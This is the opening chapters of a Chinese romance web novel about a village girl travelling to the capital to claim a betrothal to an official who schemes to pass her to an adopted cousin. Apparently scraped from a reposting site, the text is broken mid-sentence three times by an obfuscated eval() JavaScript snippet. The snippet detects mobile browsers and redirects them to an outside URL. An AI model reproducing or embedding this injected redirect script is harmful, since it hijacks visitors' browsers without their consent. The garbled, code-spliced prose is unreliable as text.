《婚约如是》 1. 第一章 《婚约如是》/炽燃 丙午年，正月，晋江文学城首发 * 日头西下，天空中落下片片红霞。 半山腰上，坐着两个一胖一瘦两个身影。胖的那个手里拿着个油饼，边吃边说：“阿凝，你别担心，要是你夫家不认这门亲，你就回来，我让我哥娶你。到时候，我家的三间大瓦房都是你的，不过，我可以提个小小要求吗？” 她也不等旁边的人说话，自顾自说道：“到时候，可以给我留一间吗？” 瘦瘦的姑娘摸了摸她的头，用绢帕擦了她的油嘴，又捏了捏她的小胖脸，笑着说：“阿芳，别替我担心了。我爹说了，褚家伯伯最讲义气，当年他和我爹一同打仗，两个人互相掩护着才都活了下来。即便现在身份有别，这当年定下的亲事也断做不得假，他们一准认下。等我在京城扎下了根，就来接你去京城玩。” “真的？”曲惠芳还是有些担忧，“可是我听说他们门第高的，都是势利眼。你嫁进去会不会受气啊？” “我是受气的性子吗？”林慕凝抬起下巴，看着那一抹红霞，嘴角弯起了一个好看的弧度。 “嘿嘿，也对。”曲惠芳往嘴里塞了最后一块油饼，和好友看着同一个方向，“我听婶子说，她找人画了你的画像，给你夫家寄了过去。他们若是见到了，一准喜欢的不行。” 在她眼中，好友林慕凝是世界上最最好看的人儿，身材也曼妙，看着瘦，可该有的都有，两人去澡堂子洗澡时，她都会盯着看许久。这样的人，谁会不喜欢呢？若不是她自小定了婚约，她家的大门早被十里八乡的媒婆踏破了。 如此美人配他哥哥，确实像别人说的“一朵鲜花插在了牛粪上”，可若是京城的贵公子呢，倒也将将说得过去。 “阿凝，你夫家到底是个什么光景？你可知道？” 林慕凝想起曾经问过爹爹的话，说道：“我爹说褚伯伯与夫人伉俪情深，妾室，外室一律没有，而且他们只有一个儿子，都已入朝为官了，如今大约是弱冠的年纪。” 曲惠芳又问：“竟这般大了，那为何不来提亲，偏要你个姑娘家去寻？” 林慕凝找了个理由：“缘是我爹娘拦住了，你也知道他们舍不得我。可我爹身子一日不如一日，我嫂子又怀了身孕，眼看着家里要添丁，负担更重了，我也马上十七了，实在是拖不得了。” “那便喊他们来接你便是了。” 林慕凝轻轻摇头：“我想自己去看看这一路的风景，若是和别人家同去，拘谨的很。” 曲惠芳撇撇嘴，她总是怕自己的好友被人欺负了去，可想说什么，又脑子笨，想不起来。 只是一遍一遍嘱咐：“阿凝，你一个人，可要万事小心，若见风头不对，你就给我写信，我一准去救你。” 林慕凝又揉了揉她的小胖脸，笑着说：“好。” 天色渐深，两姐妹聊完贴心话，各自归家。 林母王大梅正在租用的马车前忙活，装点林慕凝第二日出发的包裹。 见她进门，压低声音说：“你嫂子才来过，我怕她瞧见了不高兴，就放在了马车底下。明儿你路上再翻出来。” 林慕凝弯头往马车底下看：“是什么呀？” 王大梅拽了她一下：“别看了，明天出了门再看。” 然后凑近她：“是你外祖母传给我的，我给你留着的，可值钱了。人家家里固然是有钱有势，但咱也不好显得太寒酸。等你到了京城，你先找个落脚点，置办一套行头，买点拿得出手的礼再上门。我也知道，本来呀，该我和你爹送你去。可你爹现在这样，你嫂子又快生了。我实在是走不开啊。等日子定下来，你来个信儿，到时候无论如何，我们都要去的。” 林慕凝点点头，表示知道。 王大梅又拉着她说体己话。 “我知道你爹让你自己去京城寻婆家，你心里有怨气，可你该明白，他这也是为了你好。你打小胆子大，主意正，心比天高，又长着这样一张脸。” 说到这里，王大梅叹了口气。 这女儿虽然穿着粗布衣裳，整日里素面朝天的，可怎样都遮不住这张绝色的脸。 她自己当年也是十里八乡出了名的美人，否则林慕凝的父亲林闻也不会为了她宁愿放弃了唯一的升官机会，陪她留在这里。 若不是林闻拿着她从小被达官贵人订了亲的说法，就这张脸，早不知被相中多少回了。 王大梅是赞成自己丈夫的说法的，那婚约虽飘渺，总比留在这小地方强。 她对女儿说： “在咱们这，顶天了给你说了里正的婆家。那京城就不一样了，纵然褚家不认，也不好将你推回来，定会给你许下一门高亲，也不枉费你生了这张脸。” “娘，”林慕凝打断了王大梅的话，“明日还要早起赶路，我要早些歇着了。” “行吧，记得路上乔装打扮，别让坏人盯上。” 林慕凝应下，她倒也不怕歹人，父亲是武将出身，虽然当年打仗回来弄了一身伤病，可她还是跟在身边学了不少功夫，平常人根本不是她的对手，这也是他爹娘放心她一个人进京的原因。 这丫头，不只有那张脸，人也机灵着呢。 林慕凝回到自己的房间，刚坐下，他的嫂子杨瑛就来了。 一进门，先打量屋子。 “哟，都收拾好啦。” 林慕凝瞧了眼她的肚子，起身让座。 “嫂子坐这吧，那椅子腿不牢。别摔了，又赖我。” 杨瑛撇了下嘴，她已经习惯了小姑子这张厉害的嘴。不过人都要走了，家里头最大的这件寝屋也要腾出来了，她自然要说几句好话。 “慕凝，你也知道我快生了，家里头又多了一张嘴，实在是养不起闲人了。不然你哥也舍不得你嫁人，宁愿多留你几年呢。” 林慕凝脸上没什么表情，自顾自的叠着衣服，这是明日路上要穿的男装。 也是她哥的旧衣服。 “我听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309709|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说那褚家公子是个大官呢。那你嫁过去就是官夫人了，到时候可要想着你哥和你侄子啊。回头，我们还要去投奔你呢。” 林慕凝皮笑肉不笑地说：“嫂子，我这趟去，都不一定会怎样呢。只凭一张十余年前的手信，人家认不认的，都未可知，其他的话都说早了。” 杨瑛哼了一声，再出口的话就刻薄了。 “慕凝，要照我说，你就硬赖在他们家又如何？凭你这长相，就算他们家不愿意娶你进门，那让你做个妾也是可以的呀。这出了门的女子，断没有再回来的道理。明儿你一走，这房子就要腾出来给你大侄子住呢。你可要想好了。” 林慕凝放手里的衣服放下，做了个请的姿势。 “嫂子，别费心思了，就是想抢这间房，也得等明天我走了。” 杨瑛扶着肚子起身，白了她一眼，走出门外，嘟囔着：“长了一张狐媚子脸，真当自己是大小姐呢。” 正巧碰到刚从外头回来的林慕枫，遂拉着他进了自己屋子，跟他抱怨。 “你妹现在就把自己当官太太了，对我没个好颜色。我不过是想嘱咐她几句，就被她赶出来了。” 林慕枫自然知道自己老婆打的什么主意，无非就是想把慕凝的那间屋子也占上。 要不是看她大着肚子，他也没耐心哄着。 “差不多行了，要不是阿凝前年倒腾绢布赚了些钱，我也付不起你娘要的那么高的彩礼，你也进不来这个门。她那屋子你就别想了。” “林慕枫，你什么意思？你明明答应我的。” 林慕枫叹了口气：“我是答应你等阿凝走了，可以暂住。可若是阿凝回来，必须得给她把房子让出来。” 他说完，就出门去了，留下杨瑛一个人，在屋里头摔摔打打。 林慕枫去了慕凝那屋，替自己媳妇道歉来了。 “阿凝，你嫂子那人不懂道理，你别跟她一般见识。你放心，你此去就算没个好结果，回来也有你住的地方。” 说着，从怀里掏出一张皱巴巴的二十两银票。 “这是我给你攒的嫁妆，按理说我该送你去的，可是公事繁多，现在全家都靠我一个人养活呢，我怕…..” 林慕凝看了眼那张银票，料想是爹娘和兄长一同出力攒下的，她没接，推了回去。 “哥，心意我领了，钱就算了。我有钱呢，路上的盘缠加上到那头需要打点的，绰绰有余。等进了褚家，断没有让我花钱的道理，说不定还能落下不少。到时候，我给你和爹娘寄过来，你也能轻省些。” “阿凝。”林慕枫欲言又止。 慕凝怎会不明白，她笑得灿烂。 “放心吧，哥，你妹我天不怕地不怕，就算那褚家不愿认，你也有的是办法。到时候我做了官夫人，让我夫君替你在圣上面前美言几句，调去去京城任职。那时，咱们一家就在京城团聚了。” 林慕枫重重点头，他的妹妹从小就聪慧异常，若她是男子，必会有一番大作为。 2. 第二章 京城，皇宫 下朝的官员中，一身紫色官服的褚序宸最是惹眼，他身材高大挺拔，面容清俊，又不失威严。是大夏朝立国以来最年轻的顺天府府尹。 很多人表面上奉承，背地里却嫉妒到发狂。不过这俊朗的褚大人也并非毫无短处，比如，他的婚事，就是一处隐疾。 褚序宸年过二十，却仍未娶妻。前两年旁人为他说亲，他的老父亲总是打回去，说他自小便定了娃娃亲，只等那女郎到了婚配年龄，且其父母愿意放她嫁人，便即刻完婚。 两年前，褚老爷子被调到江南任巡抚，一去就要三年。褚序宸便以父亲不在家，不宜成婚为由，继续耽搁了下来。 众人不免猜疑，怕是这年少有为的褚大人不喜那未婚妻，故而一直拖着不愿成婚罢。猜测归猜测，无人敢当着褚序宸的面提起这件事，便只好从旁处拐着弯地恶心他。 譬如这会儿，户部李郎中就笑嘻嘻地凑到褚序宸的跟前，递过来一张大红喜帖。 “下官下月即将成亲，迎娶的是中书侍郎家的千金，还请褚大人赏脸来喝杯喜酒啊。” 褚序宸面色无波，看着那副喜帖，抬了下眉：“李大人，我记得前年你不是才成婚的吗？” “呵呵，”李郎中满脸堆笑，“褚大人真是好记性啊，只是下官命苦，先妻进门不过一年，就因难产离世了。多亏王姑娘怜爱，不嫌弃我这鳏夫，硬是说动了中书侍郎大人，舍得将其嫁于我，是我的福气啊。” 这位李衍李大人个子比他矮半个头，是个白面书生模样，若是不笑，很有一种弱不禁风之感。褚序宸也纳闷，世道是变了吗？怎么现在的女子都喜欢这种的？ 不过，他一想到中书侍郎家那个膀大腰圆的女儿，心中也有释然了。那女子曾经堵了他半年，立志非他不嫁，给他烦得不行，去找中书侍郎告状，奈何那老头也管不了这女儿。 如今迷途知返，也算是解了他的麻烦。 褚序宸接过喜帖，道：“那就恭喜李大人了，若那日我得空，必去讨一杯喜酒的。” 这话说到这份上，也该结束了。没想到李衍却没有告辞的意思，继续说道：“褚大人啊，你看我都要结第二次婚呢，不知道何时能喝到褚大人的喜酒啊？让我等也沾沾褚大人的喜气？” 褚序宸心里翻了个白眼，面上不显，朝着大殿的方向一拱手，说道：“得天子厚爱，本官自该竭尽全力，效忠天子，报效国家，婚姻之事暂且不在我考虑范围内。” “哎，大人此言差矣，成婚也不代表这不会为国效力嘛。”不知道何时凑过来的尚书左丞大人插了句嘴，“我们可都等着喝褚大人的喜酒呢，希望早一点听到这个好消息呀。” * 褚序宸回到家时，周身气息沉得吓人，连廊下洒扫的小厮都屏着气躲远了。 他径直进了书房，从一堆公文底下抽出前几日刚送来的那幅画像，端详了起来。 画中女子穿着束袖束脚的农家衣裳，梳着两条粗黑的麻花辫。在他眼里，要多土有多土。那张脸正咧着嘴大笑，笑得五官都挤在一处，露出两排白牙，本来的样貌反倒看不清了。 他不耐烦地将画像扔到一边，跌坐到椅子上，怎么想怎么气。 想他十八岁便高中状元，一路升官加爵，在二十二岁的年纪就升至顺天府府尹，满朝文武，谁不赞一声年少有为？偏生摊上这么一门亲事。 他父亲当年被祖父送去战场历练，偏生与一名战士有了战友情谊，竟还定下了这等门不当户不对的亲事。听说十几年前，父亲还想将那位战友弄到京城任职，好在他有自知之明，没有应允，留在当地做了个小乡官，可这门亲事却一直没有作废。 他幼时便听祖父提起过，说他父亲打小就叛逆，若非祖父一直鞭策敲打，又娶了母亲这个名门闺秀，父亲到不了现在的地位。而他自己是最像祖父的，从小便持重沉稳，做事有张有弛，遵循礼法。 他本该娶一个门当户对的贵女，琴棋书画，样样精通，知书达理，与他举案齐眉。而绝非那画中粗鄙之村姑。 他又瞥了眼那画像，鄙夷之气再次从心底升起，这副模样、这等做派，如何做得了一府尹的夫人？日后同僚宴饮，命妇往来，她可应付得来？带出去见人，岂不是要让人笑掉大牙？ 他将画像重新卷起，随手扔进一旁，眼不见为净。 他揉了揉眉心，心思百转。 退婚？ 不妥。 父亲那关就过不去。那老头儿最重信义，既定了亲，断无退婚之理。何况此事知晓之人众多，贸然退婚，恐被人诟病。可就这么娶了…… 他闭了闭眼，光是想想往后要日日对着那般做派之人，便觉眼前发黑。 “公子。”门外传来小厮小心翼翼的禀报，“老夫人身边的刘嬷嬷来了，说是有要事。” 褚序宸眉头微皱。母亲身边的人这时候来做什么？ “让她进来。” 刘嬷嬷进来时满脸堆笑，行了礼便道：“大人，老夫人让老奴来问问，那画像您可看过了？老夫人说，那姑娘瞧着是个有福气的，面相好，身体结实，日后好生养……” “行了。”褚序宸抬手打断她，语气淡淡的，“我晓得了。你回禀母亲，就说此事我自有计较。” 刘嬷嬷不敢多言，应声退下。 待门关上，褚序宸垂眸看着桌上那张被卷起的画像，忽然心中一动。 母亲急着抱孙子，他自然知道。可这门亲事又是父亲定下的，母亲不好说什么，只能催着他早日完婚。 若是…… 他慢慢眯起眼睛，那个念头又冒了出来。 过继一位适婚年龄的宗室子侄到母亲膝下，让他履行婚约。到时候，既完成了父亲定下的婚约，又能让自己脱身，岂不是两全其美之计。 只是如何向母亲开口，需得讲究些分寸。 母亲沈氏韵芝出身书香门第，当年嫁入褚家，是实打实的名门闺秀。她最重规矩体统，若是直说“儿子瞧不上那乡下丫头，想换个好的”，只怕立时便要挨一顿训斥。 得换个说法。 次日休沐，褚序宸用过早膳，便往正院去给母亲请安。 沈氏正在暖阁里翻看账册，见儿子进来，搁下笔，笑道：“今日倒早。用过早膳了？” “用过了。”褚序宸在她下首坐下，接过丫鬟奉的茶，却不急着喝，只拿在手里转着。 沈氏看了他一眼，知子莫若母，笑道：“有事？” 褚序宸沉吟片刻，开口道：“母亲，儿子想同您商议一件事。” “说吧。” “是关于儿子的婚事。” 沈氏眉梢微动，没有接话，只静静看着他。 褚序宸将茶盏搁在小几上，语气恳切：“儿子知道，父亲定下的这门亲事，早晚要践诺。只是……儿子近日思来想去，总觉得此事办起来，有些棘手。” “棘手？”沈氏微微蹙眉，“怎么说？” “那林家女长在乡野，自幼便是田间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309710|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地头长大的。儿子并非嫌她出身低，只是...”他顿了顿，斟酌着措辞，“只是儿子如今忝居顺天府尹，日后同僚往来、命妇应酬，只怕她应付不来。到时候若闹出什么笑话，丢的不只是儿子的脸，更是褚家的脸面。” 沈氏沉默片刻，叹道：“你这话，倒也不是没有道理。当年你父亲与人定亲，意气用事，未曾想得长远。这些年我也常想，那姑娘若是个好的便罢，若是不成器，将来进了门，确实是个难处。” 褚序宸心中一松，知道母亲听进去了，便趁势道：“儿子倒有个法子，不知母亲肯不肯听。” “你说。” 褚序宸将茶盏搁回几上，身子微微前倾，做出一副推心置腹的姿态。 “儿子想着，既不能退婚，又不便娶，那不如换一个人去娶。” 沈氏眉头微蹙：“换一个人？咱家你是独子，换谁去？” “母亲您想，父亲当年定下的是‘褚家与林家的婚事’，并未指名道姓说是儿子娶。”褚序宸缓缓道，“若从宗室中过继一位适婚的子侄到母亲膝下，便是名正言顺的褚家子弟。由他来履行这门婚约，既全了父亲的信义，又解了儿子的困局，岂不两全其美？” 话音落下，暖阁里静了一瞬。 沈氏端着茶盏的手顿了顿，抬眸看向儿子，那目光里有些复杂的意味。 “你是说，让过继来的孩子，替你娶那个林家女？” “正是。”褚序宸颔首，“母亲若有属意的人选，咱们可以早早接进府来教养。待他熟悉了家中规矩，再择吉日完婚。到时候那林家女进门，便是他的妻子，与儿子再无干系。” 沈氏沉默良久，将茶盏搁下，手指轻轻叩着桌面。 “你可知道，过继宗室子侄，不是小事。”她缓缓开口，“宗人府那边要备案，玉牒要修改，礼部也要知会。闹出的动静，不比你直接娶亲小。” “儿子知道。”褚序宸神色坦然，“但正因如此，才更显得咱们褚家重视这门亲事。不是随便找个人顶替，而是正正经经过继一位子弟，以全两家之约。传出去，旁人只会说咱们褚家重信守诺，不会说别的。” 沈氏看了他一眼，没有说话。 褚序宸又道：“再者，自从母亲一直念叨膝下冷清。若过继一位来，记在您名下，日后晨昏定省，也能多个人陪您说说话。” 这话倒是说到了沈氏心坎上。 她只有褚序宸这一个儿子，自小便盼着多子多福，可惜后来再无所出。若真能过继一个来，倒也是一桩好事。 “只是，”沈氏道，“林家那边，可要知会他们娶的人换了？” “大可不必，”褚序宸目光淡然，“本也未说一定要我去娶，那林家女能嫁进褚家，已然是高攀。那林家若通情达理，自会明白咱们的苦心。若是不通……” 他顿了顿，语气淡了下来：“儿子也有法子让他们应允。” 沈氏听出那话里的意思，眉心微蹙：“你要做什么？” “母亲放心，儿子不会做什么出格的事。”褚序宸道，“只是那林家在地方上做个小官，若真闹起来，吃亏的不会是咱们。” 沈氏叹了口气，抬手揉了揉额角。 “你这个法子……”她斟酌着词句，“倒也不是不行。只是过继之人需得仔细挑选，年纪要与那林家女相当，品性也要端正，不能给咱们褚家丢脸。” 褚序宸心中一喜，知道母亲这是松了口。 “母亲思虑周全，儿子都听母亲的。” 3. 第三章 话说林慕凝这一出了家门，就如同放虎归山，彻底自由了。原来从她家进京再慢一个月也该到了，可她走走停停，又好管个闲事，看个八卦，已经快俩月了，人还在路上。 这日，她途径晋州，见一群人围在一起，又听见有女子哭泣之声，便将马匹拴住一处饭庄前，原本是有个马车的，结果她嫌弃马车行路太慢，就将车卸掉，卖了，只剩下匹马。 栓好马后，她便硬凑进去看。 就见一个十五六岁的姑娘，正在一个大胡子男人拉扯着。而那女子身前停放着一具尸身。前头竖着一个牌子：卖身葬父，二十两。 男人拖拽女子，嘴里喊着：“给你五两就该知足了，还想贪二十两，真是做梦！爷今日收了你做八房，从今往后你就跟着爷吃香喝辣。” 一旁众人只看热闹，却无一人上前替女子说话。林慕凝看不过去了，撩起袖子就要挤上前去，被旁边一位婶子拦住了，说：“小哥莫要轻举妄动，你可知那人是谁？” 林慕凝粗着声音说：“我管他是谁，那个妹妹哭喊着不愿意，岂有光天化日之下强抢民女之事。” 旁边又一个妇人说道：“哎呀，那人是这里的一霸，你这小身板一看就打不过他，凭白挨他一顿打。也解救不了那女子，到时候他还会报复你。何苦来的呢？我听你这口音也不像本地的，这事跟你没关系，该去哪去哪吧。” 林慕凝可不听这个，她最见不得女子受欺负了。眼看着那卖身葬父的姑娘被大胡子撕扯着露出了一截肩膀来，她扯下自己的外袍飞扔了过去，将那女子的肩膀罩住了。 大胡子被这突出起来的衣物吓了一跳，眯着眼睛望过去，就见一个玉面小子正叉着腰瞪着他。 他推开女子，站起身，走到林慕凝面前，打量他：“哪儿来的毛头小子，跟你爷爷对着干？不想活了是吧！” 众人见要打架，忙退出三丈远，给两人留出了位置。大胡子男围着林慕凝转了一圈，舔了舔舌头，说道：“你这小子倒是好身段，我这人不挑，若是你愿意委身于我，我倒是可以将你也收了。”随即放浪大笑，引得人群里的部分男人也跟着笑，起哄说：“男的你也要啊？” 林慕凝也不恼，因她知道，就算是扮作男人，她也是顶顶好看的那一种，权当是听人夸她长相了。她笑了笑，嘴里说着：“小弟倒是不介意，就怕大哥你嫌弃。” 她边说边将袖子挽至大臂处，露出难看的斑驳皮肤。众人看到，顿时唏嘘一声，后退三步。 大胡子也倒吸一口凉气，只看了一眼，就不敢再看了。 林慕凝继续说：“可惜小弟我年少时不懂事，惹了几段风流账，闹得如今这个下场。大哥若真是不弃，我......” “晦气东西！”那大胡子生怕眼前这男子的花柳病传给自己，慌忙向人群中退去，也不再管那个女子了。 众人也都捂住口鼻，遮住衣物，四散开了。 独独留下林慕凝和那女子。 林慕凝将袖子重又褪下，靠近那女子。女子已经停止了哭泣，俯身朝林慕凝磕头：“多谢大侠仗义相救，小女子无以为报，但凭大侠做主。” 林慕凝问：“你不怕我这病？” 女子微微垂眸，低声说：“我知道那是假的。” “哦？”林慕凝瞧着眼胳膊上自己画的斑斑驳驳的烂疮，嘀咕着：“一帮男人都看不出来，这一个小姑娘怎么知道的。” 那女子跪在地上，抬起脸来。 “公子方才挽袖子时，那烂疮边缘齐整，颜色虽吓人，却不像是从肉里长出来的。”她轻声道，“再者，我父亲是靠治疑难杂症讨生，我跟着看过。” “难怪！”林慕凝一拍大腿，恍然大悟，“我说呢，原来你是家学渊源。” 她蹲下身来，饶有兴致地打量着这女子。十五六岁的年纪，生得眉清目秀，虽穿着粗布衣裳，却收拾得干净利落。 “你叫什么？”林慕凝问。 “民女姓柳，小字莺儿。”女子答道，“晋州本地人氏。地上躺着的是我爹爹。” 林慕凝看了眼那具用草席盖着的尸身，叹了口气：“你爹得的什么病？” 柳莺儿眼眶又红了：“我爹替人治病，那家人却不给钱，不肯承认他家公子得了病，还将我爹打了出来。打的我爹呕血，又没钱治病，这才......” 听得林慕凝直叹气摇头，她从怀里摸了摸，掏出个荷包，掂了掂，扔给柳莺儿：“这里是二十两，够你葬父了。余下的，留着过日子。” 柳莺儿捧着荷包，愣了一愣，随即又要跪下磕头。 林慕凝眼疾手快，一把将她拽住：“别跪别跪！我这人最受不了这个。你快去张罗后事吧，别耽搁了。” 柳莺儿却不肯起身，抬头望着她，眼神里有种异样的坚定：“公子大恩，莺儿无以为报。公子可是要进京？” 林慕凝挑了挑眉：“你怎么知道？” “公子这身打扮，又独自骑马赶路，想必是进京赶考的书生。”柳莺儿道，“此去京城路途遥远，公子身边总得有个端茶递水、洗衣做饭的人。莺儿虽笨，但肯学，求公子收留，愿为奴为婢，伺候公子。” 林慕凝笑了：“你这姑娘，倒会打算盘。跟着我，就不用担心那赵大胡子再来找麻烦了，是不是？” 柳莺儿低下头，没说话，算是默认了。 林慕凝看着她，倒也没恼。这姑娘聪明，懂得审时度势，又是个有良心的。方才若不是她机灵，自己那点小把戏未必能骗过所有人。 她想了想，道：“这样吧，你先把你爹安葬了。我就在前头的悦来客栈住一晚，明日一早出发。你若能在明早之前办妥后事赶来，我便带上你。若赶不及......” 她顿了顿，笑道：“那就是有缘无分，你好生保重。” 柳莺儿连连应下，又要磕头，被林慕凝拦住：“行了，膝下有黄金，别总给人磕头。” 说完不再多言，翻身上马，扬长而去。 马蹄扬起一路烟尘，很快消失在街角。 柳莺儿捧着银子，望着那个方向，久久没有动弹。半晌，她擦了擦眼泪，转身走向地上那具尸身，低声道：“爹，女儿遇到贵人了。您放心，女儿一定好好活着，日后定当报答这位恩公。” 次日一早，天色微明。 林慕凝在客栈门口喂马，正盘算着若是那姑娘不来，自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309711|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便独自上路。刚把马鞍搭上马背，就听见身后一阵细碎的脚步声。 她回头一看，柳莺儿背着一个蓝布包袱，气喘吁吁地跑来。 “公......公子......”她跑得脸颊泛红，额头沁出细汗，“我......我赶上了。” 林慕凝打量她一眼：衣裳还是那身粗布衣裳，却洗得干干净净，头发也重新梳过，挽了个简单的髻。背上的包袱不大，想必没什么家当。 “办妥了？”林慕凝问。 柳莺儿点点头：“昨儿下午就买了薄棺，寻了块义地，请人帮忙安葬了。今早去烧了纸，就赶来了。” 林慕凝嗯了一声，没再多问，只指了指马后：“会骑马吗？” 柳莺儿摇头。 “那就走着吧。”林慕凝翻身上马，却不急着走，只慢慢催着马往前走，“跟上来，别掉队。” 柳莺儿应了一声，迈开步子紧紧跟上。 走了一程，林慕凝回头看她，见那姑娘虽然走得气喘吁吁，却咬牙坚持着，一声苦也没叫。她心里暗暗点头：是个能吃苦的。 又走了一段，林慕凝勒住马，跳下来，把缰绳递给她：“上来，我牵着马，你骑着。” 柳莺儿愣住了：“公子，这怎么行？” “哪那么多废话。”林慕凝不由分说，把她托上马背，自己牵着马缰绳在前面走，“我走了俩月，什么路没走过？骑不骑马的，不在乎这一时半刻。你昨儿一宿没睡吧？先歇歇。” 柳莺儿坐在马上，看着前面那道牵着马慢悠悠走着的背影，鼻子一酸，眼泪差点掉下来。 她活了十五年，除了爹，从没有人对她这么好过。 “公子。”她哽咽着开口。 “嗯？” “公子叫什么名字？日后莺儿好记在心里。” 林慕凝头也不回，声音懒洋洋的：“我姓林，叫林慕凝。你叫我公子就行。” 柳莺儿在心里默念了几遍，牢牢记住。 “公子是哪里人？此去京城，确是赶考吗？” 林慕凝脚步顿了顿，忽然笑了一声，那笑声里带着几分促狭：“赶考？我倒是想，可世道不允许啊。我此去是为成亲的。” 柳莺儿一愣：“成亲？” “对啊。”林慕凝回头看她一眼，眉眼弯弯，“我有个未婚夫在京城，我去找他完婚。” 柳莺儿张了张嘴，半天没说出话来。 公子是去成亲的？可公子分明是个男子啊...... 她盯着林慕凝的背影看了半晌，忽然明白过来，她倒吸一口凉气，却又不敢声张，只把这份惊愕悄悄压在心里。 林慕凝仿佛背后长了眼睛，头也不回地说：“想明白了？” 柳莺儿咬了咬唇，低声道：“想明白了。” “想明白了就好。”林慕凝笑道，“往后跟着我，得守我的规矩。第一，我叫你做什么你就做什么；第二，不该问的别问；第三...” 她回过头，冲柳莺儿眨了眨眼：“在外人面前，我还是公子，明白吗？” 柳莺儿重重点头：“明白。” 林慕凝满意地转过身去，继续牵着马往前走。 4. 第四章 褚书墨入府半月，褚序宸对这个名义上的弟弟观察了许久。 起初他以为，这人不过是装出来的恭顺。毕竟一个自幼父母双亡、独自挣扎求生的宗室旁支，若没点城府，如何活到今天？可半个月下来，褚书墨的表现让他不得不承认：这世上，还真有天生温良之人。 每日卯时正，褚书墨必到正院请安。沈氏梳洗未毕，他便在廊下候着，等多久也不急，安安静静站着，偶尔与院中洒扫的婆子说几句话。 有一回褚序宸路过，恰好听见褚书墨在同那婆子说话。 “张妈妈，您腿脚不好，这石阶上的青苔我去寻人铲了吧，免得滑着。” “哎呀二公子，这哪能劳您费心，老奴自己来就成。” “不妨事。”褚书墨温声笑道，“我闲着呢，顺路的事。” 褚序宸站在月洞门外，微微蹙眉。他没作声，抬脚进了正院。 那日午后，褚序宸在书房处理公务，褚书墨来请教一篇文章。褚序宸接过他的习作，扫了一眼，眉头微动。 字是好字，圆润端正，却无半分锋芒，倒像是刻意收敛着。 “你这文章，写得太过温和。”褚序宸搁下纸，淡淡道，“策论讲究的是切中要害，你这般四平八稳，如何能入考官的眼？” 褚书墨垂首：“兄长教训的是。只是书墨自幼无人指点，只知循着书本依样画葫芦，怕写错了，便不敢放开了写。” 褚序宸看着他低垂的眉眼，忽然想起自己十二三岁时，祖父是如何拿戒尺逼着他改文章的。 “明日起，你每隔两日写一篇策论送来，我给你批。”他说。 褚书墨抬起头，眼中有一瞬的惊愕，随即浮起笑意。 “多谢兄长。” 褚序宸嗯了一声，低头继续看自己的公文。余光里却瞥见褚书墨起身时，顺手将他桌上散落的几页纸理整齐了，又将茶盏往他手边挪了挪，免得他伸手够不着。 做完这些，他才悄无声息地退了出去。 褚序宸抬眼，看着那扇轻轻合上的门，半晌没动。 这人的确细心。 转眼到了月底，沈氏在正院设了小宴，只他们母子三人。说是小宴，不过是一家人吃顿便饭。褚序宸下朝回来，换了常服便往正院去。刚进院子，就听见里头传来说话声，是沈氏在笑。 “你这孩子，快放下，哪能让你做这个。” “母亲别拦着，书墨在家时做惯了的。” 褚序宸挑帘进去，就见褚书墨正站在沈氏身后，手里拿着美人锤，在给她捶肩。沈氏笑得眉眼舒展，见他进来，招手道：“序宸来了，快坐。书墨这孩子，我说不用，他偏要伺候。” 褚书墨抬头，朝褚序宸微微一笑：“兄长。” 褚序宸点点头，在沈氏下首坐下。丫鬟上了茶，他便端起来慢慢喝着，也不说话。 沈氏与褚书墨倒是聊得热闹。 “书墨，你这些日子去国子监，可还习惯？” “回母亲，一切都好。监里的先生们学问渊博，书墨受益良多。” “住处可还舒适？若是缺什么，只管说。” “母亲安排得极妥帖，什么都不缺。”褚书墨笑道，“比书墨从前住的地方好太多了，有时夜里醒来，还以为是在做梦。” 沈氏听得心疼，拍拍他的手：“往后这里就是你的家，再不是做梦了。” 褚书墨垂下眼，声音轻而稳：“是，多谢母亲。” 褚序宸在一旁看着，忽然觉得这画面有些陌生。 他性格沉稳持重，少年老成，母亲待他也温和，却极少有这样絮絮叨叨的闲话家常。 可褚书墨不一样。他好像天生就会这些，知道什么时候该笑，什么时候该垂眸，什么时候该说一句软和话哄人开心。 饭后，沈氏留他们喝茶。褚书墨亲自捧了茶盏，先奉给沈氏，再奉给褚序宸。递到褚序宸面前时，他抬眼看了看对方，轻声问：“兄长今日下朝晚，可是朝中有事？” 褚序宸接过茶：“嗯，户部那边有些公务。” 褚书墨点点头，不再多问，只将那碟沈氏爱吃的云片糕往她手边挪了挪。 沈氏笑道：“你这孩子，心倒细。序宸从小就不爱这些甜腻腻的东西，你给他也是白给。” 褚书墨微微一愣，看向褚序宸，有些不好意思：“是我疏忽了，兄长喜欢什么？我记下来，下回注意。” 褚序宸淡淡道：“不必麻烦。” 气氛有一瞬的凝滞。 